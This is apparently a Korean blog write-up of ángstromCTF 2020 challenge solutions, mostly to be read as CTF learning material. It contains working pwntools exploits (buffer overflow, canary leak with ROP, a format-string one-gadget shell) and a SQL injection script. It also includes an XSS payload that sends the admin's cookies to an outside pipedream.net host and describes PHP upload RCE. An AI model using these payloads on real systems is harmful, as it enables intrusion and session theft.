Binary :: No Canary
gets(name); 에서 취약점이 발생한다.
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', help='connect to remote server', action='store_true') args = parser.parse_args() if args.remote : p = connect('shell.actf.co', 20700) else : p = process('./no_canary') def exploit() : payload = b'A'*0x28 payload += p64(0x401186) p.writeline(payload) p.interactive() if __name__ == '__main__' : exploit() |
Flag: actf{that_gosh_darn_canary_got_me_pwned!}
Binary :: Canary
FSB로 canary leak하고 ROP로 flag를 호출하면 된다.
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', help='connect to remote server', action='store_true') args = parser.parse_args() if args.remote : p = connect('shell.actf.co', 20701) else : p = process('./canary') def exploit() : p.writeline('%17$p') p.readuntil('0x') canary = int(p.readuntil('!')[:-1], 16) print('[Exploit] canary = '+hex(canary)) payload = b'A'*0x38 payload += p64(canary) payload += b'A'*8 payload += p64(0x400787) # flag p.writeline(payload) p.interactive() if __name__ == '__main__' : exploit() |
Flag: actf{youre_a_canary_killer_>:(}
Binary :: bop_it
wrong은 스택 동적 할당된 영역으로 rsp에 위치하며, 포인터가 rbp-0x178에 저장된다. 그런데 동적 할당을 할 때 사용하는 값은 guessLen이 아니라 strlen(guess) 이다.
|
22
23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
char guess[256];
guess[0] = c; int guessLen = read(0, guess+1, 255)+1; //add to already entered char guess[guessLen-1] = 0; //remove newline char flag[32]; FILE *f = fopen("flag.txt", "rb"); int r = fread(flag, 1, 32, f); flag[r] = 0; //null terminate if (strncmp(guess, flag, strlen(flag))) { char wrong[strlen(guess)+35]; wrong[0] = 0; //string is empty intially strncat(wrong, guess, guessLen); strncat(wrong, " was wrong. Better luck next time!\n", 35); write(1, wrong, guessLen+35); exit(0); } |
여기서 guess의 앞부분에 임의의 NULL 바이트를 넣으면, 뒷 부분 스택의 값을 쭉 읽어올 수 있다. 맨 앞에 NULL 바이트 1개를 넣고 임의의 255바이트 크기의 값을 써주면 된다.
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', help='connect to remote server', action='store_true') args = parser.parse_args() if args.remote : p = connect('shell.actf.co', 20702) else : p = process('./bop_it') def exploit() : while True : action = p.readline().rstrip() if action == b'Flag it!' : p.write(('\x00'+'A'*0xFF).encode()) print(p.read()) break else : p.writeline(action[0:1]) p.interactive() if __name__ == '__main__' : exploit() |
Flag: actf{bopp1ty_bop_bOp_b0p}
Binary :: LIBrary in C
FSB를 두 번 트리거할 수 있다. libc 파일이 주어졌으므로, 첫 번째 printf에서 __libc_start_main을 통해 libc base과 sfp를 leak하고 두 번째 printf에서 magic gadget을 ret에 덮어씌워 쉘을 따면 된다.
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', help='connect to remote server', action='store_true') args = parser.parse_args() if args.remote : p = connect('shell.actf.co', 20201) else : p = process('./library_in_c') def exploit() : p.readuntil(b'?\n') p.writeline(b'%24$p %27$p') p.readuntil(b'0x') leak = int(p.readuntil(' ').rstrip(), 16) ret = leak-0xD8 print('[Exploit] ret address: '+hex(ret)) p.readuntil(b'0x') leak = int(p.readline().rstrip(), 16) libc_base = leak-0x20830 magic_gadget = libc_base+0x45216 print('[Exploit] libc base: '+hex(libc_base)) print('[Exploit] magic gadget: '+hex(magic_gadget)) magic_gadget_low = magic_gadget & 0xFFFF magic_gadget_mid = (magic_gadget >> 16) & 0xFFFF magic_gadget_high = magic_gadget >> 32 payload = '%{0}c'.format(magic_gadget_low).encode() payload += b'%21$n' payload += '%{0}c'.format((magic_gadget_mid-magic_gadget_low)%0x10000).encode() payload += b'%22$n' payload += '%{0}c'.format((magic_gadget_high-magic_gadget_mid)%0x10000).encode() payload += b'%23$hn' payload = payload.ljust(40, b'\x00') payload += p64(ret) payload += p64(ret+2) payload += p64(ret+4) p.writeline(payload) p.interactive() if __name__ == '__main__' : exploit() |
Flag: actf{us1ng_c_15_n3v3r_4_g00d_1d34}
Rev :: Revving Up
Flag: actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}
Rev :: Windows of Opportunity
Flag: actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}
Rev :: Taking Off
argv에 각각 3, 9, 2, chicken을 넣어주고, 0x602090에 있는 17바이트와 0x2A를 xor해서 나온 문자열 (please give flag) 을 써 주면 된다.
Flag: actf{th3y_gr0w_up_s0_f4st}
Rev :: Patcherman
플래그 계산 과정 리버싱한다고 삽질했는데, 그냥 0x601050의 DWORD 값을 0x1337BEEF로 바꿔주고 실행하면 플래그가 나온다. (...)
Flag: actf{p4tch3rm4n_15_n0_m0r3}
Rev :: Califrobnication
주어진 소스코드에는 난생 처음 보는 함수가 2개나 사용되었다. 각각을 빠르게 설명하면..
* memfrob: 특정 영역에 XOR 42를 한다.
* strfry: 문자열을 무작위로 섞는다.
핵심은 strfry를 리버싱하는 것이다. 환경에서는 glibc 2.23이 사용되었지만, glibc 2.30에서 실행해도 별 문제 없다.
문제의 strfry는 glibc의 /string/strfry.c에 아래와 같이 정의되어 있다.
|
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
char *
strfry (char *string)
{
static int init;
static struct random_data rdata;
if (!init)
{
static char state[32];
rdata.state = NULL;
__initstate_r (time ((time_t *) NULL) ^ getpid (),
state, sizeof (state), &rdata);
init = 1;
}
size_t len = strlen (string);
if (len > 0)
for (size_t i = 0; i < len - 1; ++i)
{
int32_t j;
__random_r (&rdata, &j);
j = j % (len - i) + i;
char c = string[i];
string[i] = string[j];
string[j] = c;
}
return string;
}
|
단순한 로직이다. 랜덤을 위해 사용되는 시드값은 현재 시간(time)과 프로세스의 id(pid) 두 가지가 있다. 위 코드에서 swap 하는 대신 j값을 전부 뽑아낸다면 원본 문자열을 복구할 수 있게 된다. 프로세스의 id를 어떻게 찾아올까 고민을 잠시 했었는데, bash & 연산자를 쓰면 pid가 보인다는 점을 이용했다. 그 이후부터는, 출력된 문자열을 가지고 현재 시간에서부터 1씩 감소시키며 쭉 돌리면 actf로 시작하는 문자열(플래그)을 얻을 수 있다.
C implemention이 필요하기 때문에 C로 strfry를 구현한 간단한 solver engine을 만들었고, python으로 최종 구현했다.
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
#include <stdio.h>
#include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> void strfry_entries(time_t seed, int pid, size_t length) { static int init; static struct random_data rdata; if (init) { static char state[32]; rdata.state = NULL; initstate_r (seed ^ pid, state, sizeof (state), &rdata); init = 1; } if (length > 0) { for (size_t i=0 ; i<length-1 ; ++i) { int32_t j; random_r (&rdata, &j); j = j%(length-i)+i; /* char c = string[i]; string[i] = string[j]; string[j] = c; */ printf("%d\n", j); } } } int main(int argc, char **argv, char **envp) { if (argc != 4) { printf("Usage: %s [seed] [pid] [string]\n", argv[0]); exit(0); } time_t seed = atoll(argv[1]); int pid = atoi(argv[2]); strfry_entries(seed, pid, strlen(argv[3])); return 0; } |
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
from pwn import *
from time import time import base64 context.log_level = 'error' def exchange(string:str, pos1, pos2) : if pos1 == pos2 : return string if pos1 > pos2 : pos1, pos2 = pos2, pos1 return string[:pos1]+string[pos2]+string[pos1+1:pos2]+string[pos1]+string[pos2+1:] def solver(time:int, pid:int, string:str) : p = process(['./solver', str(time), str(pid), string]) length = len(string) result = [] for _ in range(length-1) : result.append(int(p.readline().rstrip())) for i in range(length-2, -1, -1) : string = exchange(string, i, result[i]) return string if __name__ == '__main__' : current_time = int(time()) pid = 20915 t = 'SGVyZSdzIHlvdXIgZW5jcnlwdGVkIGZsYWc6IEtFdUlMThobdUMbWE5JEkxJGEtMTkQfSxxPE0NRXl5EWEV1TEsfQ1ceHkVLSEZJRwo=' t = base64.b64decode(t)[28:].rstrip() flag_enc = ''.join([chr(c^42) for c in t]) while True : s = solver(current_time, pid, flag_enc) if s.startswith('actf') : print(s) print('[Info] time={0}, pid={1}'.format(current_time, pid)) break current_time -= 1 |
Flag: actf{dream_of_califrobnication_1f6d458091cad254}
Crypto :: Keysar
Keyed Caesar Cipher이다.
Flag: actf{yum_delicious_salad}
Crypto :: Reasonably Strong Algorithm
\(N\)이 작아 보인다. 소인수분해하면 두 개의 소인수 9336949138571181619과 13536574980062068373가 나온다.
\(d\)를 구하고 \(c^{d}\ (\mathrm{mod}\ N)\) 을 구하면 된다.
\[\begin{align} d&=122116681453826726664714315157880092841 \\ c^{d}&\equiv 3456505669976011892616877716395432178557\ (\mathrm{mod}\ N) \end{align}\]
Flag: actf{10minutes}
Crypto :: Wacko Images
각 픽셀에 41, 37, 23을 각각 RGB에 곱하고 251로 나눈 나머지를 적용한다. 나머지 251인 Integer Ring \(\mathbb{Z}/251\mathbb{Z}\) 위에서 연산해 복호화하면 된다.
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
from sage.all import *
from PIL import Image image = Image.open('enc.png') w, h = image.size key = [41, 37, 23] Zn = Zmod(251) for y in range(h) : for x in range(w) : px = list(image.getpixel((x, y))) for i in range(3) : px[i] = Zn(px[i])/Zn(key[i]) image.putpixel((x, y), tuple(px)) image.save('flag.png') |

Flag: actf{m0dd1ng_sk1llz}
Web :: The Magic Word
페이지 소스에서, id=magic인 태그의 innerHTML을 please give flag로 바꾸면 플래그를 보여주는 동작이 있다.
|
1
2 3 4 5 6 7 8 |
var msg = document.getElementById("magic");
setInterval(function() { if (magic.innerText == "please give flag") { fetch("/flag?msg=" + encodeURIComponent(msg.innerText)) .then(res => res.text()) .then(txt => magic.innerText = txt.split``.map(v => String.fromCharCode(v.charCodeAt(0) ^ 0xf)).join``); } }, 1000); |
Flag: actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}
Web :: Xmas Still Stands
/posts에서 XSS를 트리거할 수 있다. /report에서는 admin이 신고받은 포스트를 확인하는 듯 하므로, AJAX로 웹 서버에 쿠키를 보내주고 신고하면 admin의 쿠키를 얻을 수 있다.
|
<img src=a onerror="var x=new XMLHttpRequest(); x.open('POST', 'http://enkl4fsamn46m.x.pipedream.net/', false); x.setRequestHeader('Leak', document.cookie); x.send();" />
|

쿠키를 설정하고 /admin에 들어가면 된다.
Flag: actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}
Web :: Consolation
버튼을 누르면 아래와 같이 생긴 nofret 함수를 실행한다.
|
1
2 3 4 5 |
function nofret() {
document[_0x4229('0x95', 'kY1#')](_0x4229('0x9', 'kY1#'))[_0x4229('0x32', 'yblQ')] = parseInt(document[_0x4229('0x5e', 'xtR2')](_0x4229('0x2d', 'uCq1'))['innerHTML']) + 0x19; console[_0x4229('0x14', '70CK')](_0x4229('0x38', 'rwU*')); console['clear'](); } |
console[_0x4229('0x14', '70CK')](_0x4229('0x38', 'rwU*')); 을 실행하면 플래그를 준다.
Flag: actf{you_would_n0t_beli3ve_your_eyes}
Web :: Git Good
dirsearch를 돌려보면 /.git/ 의 여러 항목에 접근 가능하다는 것을 알 수 있다.

처음에는 저 파일들만으로 뭘 찾아봤는데 아무것도 안 나왔다.. 그래서 /.git 과 관련한 웹 CTF 문제를 찾아보던 중 GitTools이라는 도구를 찾아서 썼다. Dumper를 사용해서 /.git 폴더를 덤프할 수 있고, git show로 플래그를 확인할 수 있다.

Flag: actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}
Web :: Secret Agents
User-Agent 헤더를 통해 SQL Injection을 수행할 수 있다. LIMIT로 하나씩 가져오면 된다.
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
import requests
if __name__ == '__main__' : s = requests.Session() for i in range(500) : s.headers['User-Agent'] = "'OR 1=1 LIMIT {0},1#".format(i).replace(' ', '/**/') r = s.get('https://agents.2020.chall.actf.co/login') recv = r.content.decode() begin = recv.find('<p>')+3 end = recv.find('</p>') print('[Info] UR index={0}, Name={1}'.format(i, recv[begin:end])) if 'actf' in recv : break |
Flag: actf{nyoom_1_4m_sp33d}
Web :: Defund's Crypt
페이지 주석을 보면 src.php로 index.php 코드를 그대로 보여준다.
MIME Type을 검사하는데, PNG Signature와 IEND 헤더 두개 넣어주고 뒷 부분에 php 코드를 쓴 뒤, 확장자를 .png.php로 설정해서 php RCE를 할 수 있다. /flag.txt를 읽으면 플래그를 준다.
Flag: actf{th3_ch4ll3ng3_h4s_f4ll3n_but_th3_crypt_rem4ins}
Misc :: Sanity Check
Flag: actf{never_gonna_let_you_down}
Misc :: ws1
Wireshark로 보면, HTTP POST request를 보내는 패킷(No.17)이 보인다. flag parameter가 플래그다.
Flag: actf{wireshark_isn't_so_bad_huh-a9d8g99ikdf}
Misc :: clam clam clam
출력을 파일로 저장하면 type "clamclam" for salvation 문구를 볼 수 있다.
입력으로 clamclam을 보내주면 플래그를 얻을 수 있다.
Flag: actf{cl4m_is_my_f4v0rite_ctfer_in_th3_w0rld}
Misc :: ws2
HTTP POST로 이미지를 보낸다. 패킷 바이트를 뽑아내서 jpg로 저장하고 보면 플래그가 나온다.
Flag: actf{ok_to_b0r0s-4809813}
Misc :: PSK
주어진 wav 파일에서 strings로 문자열을 뽑아내면, BPSK31 freq=1.941로 인코딩되었으며 소프트웨어는 fldigi 4.0.17을 사용했다는 정보를 얻을 수 있다. fldigi로 audio output을 캡쳐한 뒤 wav 파일을 재생하면 문자열을 얻을 수 있다.

Flag: actf{hamhamhamhamham}
Misc :: Inputter
원격 쉘에서 inputter에 적절한 argv와 입력을 넣어서 플래그를 가져오는 문제다.
확인해보니 pwntools가 설치되어 있어서, 프로세스 열고 입력을 넣어서 플래그를 쉽게 가져올 수 있었다.
|
team6691@actf:/problems/2020/inputter$ python
Python 2.7.12 (default, Oct 8 2019, 14:14:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> def ex() :
... p = process(['./inputter', " \n'\"\x07"])
... p.write("\x00\x01\x02\x03\n")
... p.interactive()
...
>>> ex()
[x] Starting local process './inputter'
[+] Starting local process './inputter': pid 13133
[*] Switching to interactive mode
[*] Process './inputter' stopped with exit code 0 (pid 13133)
You seem to know what you're doing.
actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}
[*] Got EOF while reading in interactive
|
Flag: actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}
Misc :: msd
주어진 코드는 아래와 같다.
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
from PIL import Image
im = Image.open('breathe.jpg') im2 = Image.open("breathe.jpg") width, height = im.size flag = "REDACT" flag = ''.join([str(ord(i)) for i in flag]) def encode(i, d): i = list(str(i)) i[0] = d return int(''.join(i)) c = 0 for j in range(height): for i in range(width): data = [] for a in im.getpixel((i,j)): data.append(encode(a, flag[c % len(flag)])) c+=1 im.putpixel((i,j), tuple(data)) im.save("output.png") pixels = im.load() |
각 픽셀의 RGB값의 첫 번째 자리를 flag로 바꿔버린다. 따라서 암호화된 이미지의 각 픽셀은 다음과 같이 해석될 수 있다.
1. 0xFF : flag의 자리값이 2 이상이고, RGB값이 3자리이다.
2. not 0xFF : 첫 번째 자리값 또는 0이 flag의 자리값이다.
주어진 이미지에서 RGB값의 첫 번째 자리를 전부 모은 뒤, 9799를 찾아보면 플래그가 언급되는 여러 부분을 볼 수 있다. 아래에 몇 개를 예시로 나열해 봤다. (0xFF가 등장할 때는 ?로 해석함)
|
9799116162123185110184971881819517112118497198101951111221121224549535148579813?17?163121114
97991161521231751171849715815195161125164971681519516112211212245495551485798165173183121194979812112576111114101119321751121151171693211611116
979911616212316511411???16?111?518112216???15?161??111122112122454953514857?814?15?15?12114?????1211
9799116192123185114134971981719?18112913497128181??1511?2112122?????4?1??????12?12?12?12112?????12112??
97991161321231451121549719810195131129124971481419516112211212245495251485798115123133121144979812112576111114141159321951121151171593213511114
979911616212316511816497198121951611271549713816195121122112122?????3?1??????11?19?19?1?119?????1?112???11111?11115?3211511211511715932178111168
|
cs |
모든 occurrence를 모아 보면, 아래와 같이 세 가지 패턴으로 나누어짐을 확인할 수 있다.
1. 모든 경우에 대해 숫자값이 나오고, 그 값이 동일하다.
2. 모든 경우에 대해 숫자값이 나오지만, 값이 동일하지 않다.
3. 어떤 경우에는 숫자값이 나오고, 어떨 때는 ?가 나온다.
2번의 경우는, flag의 자리값이 0인 경우다. 3번째 경우는, ?가 아닌 숫자를 ?에 대입하면 된다. 이 방법으로 최종 문자열을 구한 뒤, 숫자를 적절히 나눠 플래그를 구할 수 있다.
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
from PIL import Image
if __name__ == '__main__' : img = Image.open('output.png') width, height = img.size f = '' c = 0 for j in range(height) : for i in range(width) : for r in img.getpixel((i, j)) : if r == 255 : f += '?' else : f += str(r)[0] c += 1 occur = [] size = 0 while True : pos = f.find('9799') if pos == -1 : break occur.append(f[pos:pos+150]) f = f[pos+150:] size += 1 final = '' for pos in range(150) : num = '-' pref = False for i in range(size) : if num == '-' and occur[i][pos].isnumeric() : num = occur[i][pos] if occur[i][pos] == '?' and num != '-' : final += num pref = True break if num != '-' and occur[i][pos] != num : final += '0' pref = True break if not pref : final += num print(final) flag = '' i = 0 while i < len(final) : if final[i] != '1' : flag += chr(int(final[i:i+2])) i += 2 else : flag += chr(int(final[i:i+3])) i += 3 print(flag) |
Flag: actf{inhale_exhale_ezpz-12309biggyhaby}
Misc :: Shifter
문자열과 n을 주며, n번째 피보나치 수만큼 문자를 shift해 보내주는 과정을 50번 반복하면 플래그가 나온다.
Memoization 또는 행렬 제곱을 이용한 빠른 피보나치 알고리즘을 쓰면 된다.
|
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
from pwn import *
def fibonacci(n) : if n == 0 : return 0 v1, v2, v3 = 1, 1, 0 for rec in bin(n)[3:] : calc = v2*v2 v1, v2, v3 = v1*v1+calc, (v1+v3)*v2, calc+v3*v3 if rec == '1' : v1, v2, v3 = v1+v2, v1, v2 return v2%26 def shift(text, n) : return ''.join([chr((c-65+n)%26+65) for c in text]).encode() if __name__ == '__main__' : p = connect('misc.2020.chall.actf.co', 20300) for _ in range(50) : p.readuntil('Shift ') text = p.readuntil(' ').rstrip() p.readuntil('=') n = int(p.readline().rstrip()) r = shift(text, fibonacci(n)) print('[Info] Text={0}, n={1} > Result={2}'.format(text, n, r)) p.writeline(r) p.interactive() |
Flag: actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}
Misc :: ws3
76번째 패킷의 크기가 상당히 크다. x-git-receive-pack-request로 18068바이트의 데이터가 넘어가는데, 따로 빼내고 binwalk를 한 뒤 0x1A9부터 잘라내서 zlib 압축을 풀면 JPEG 파일이 나오고, 그림을 보면 플래그가 보인다.

Flag: actf{git_good_git_wireshark-123323}
'CTF > CTF Playground' 카테고리의 다른 글
| Securinets Prequals 2K20 (0) | 2020.03.23 |
|---|---|
| riftCTF (0) | 2020.03.21 |
| HackTM CTF 2020 (0) | 2020.02.02 |
| Rice Tea Cat Panda #cat-chat (0) | 2020.01.24 |
| Rice Tea Cat Panda (0) | 2020.01.22 |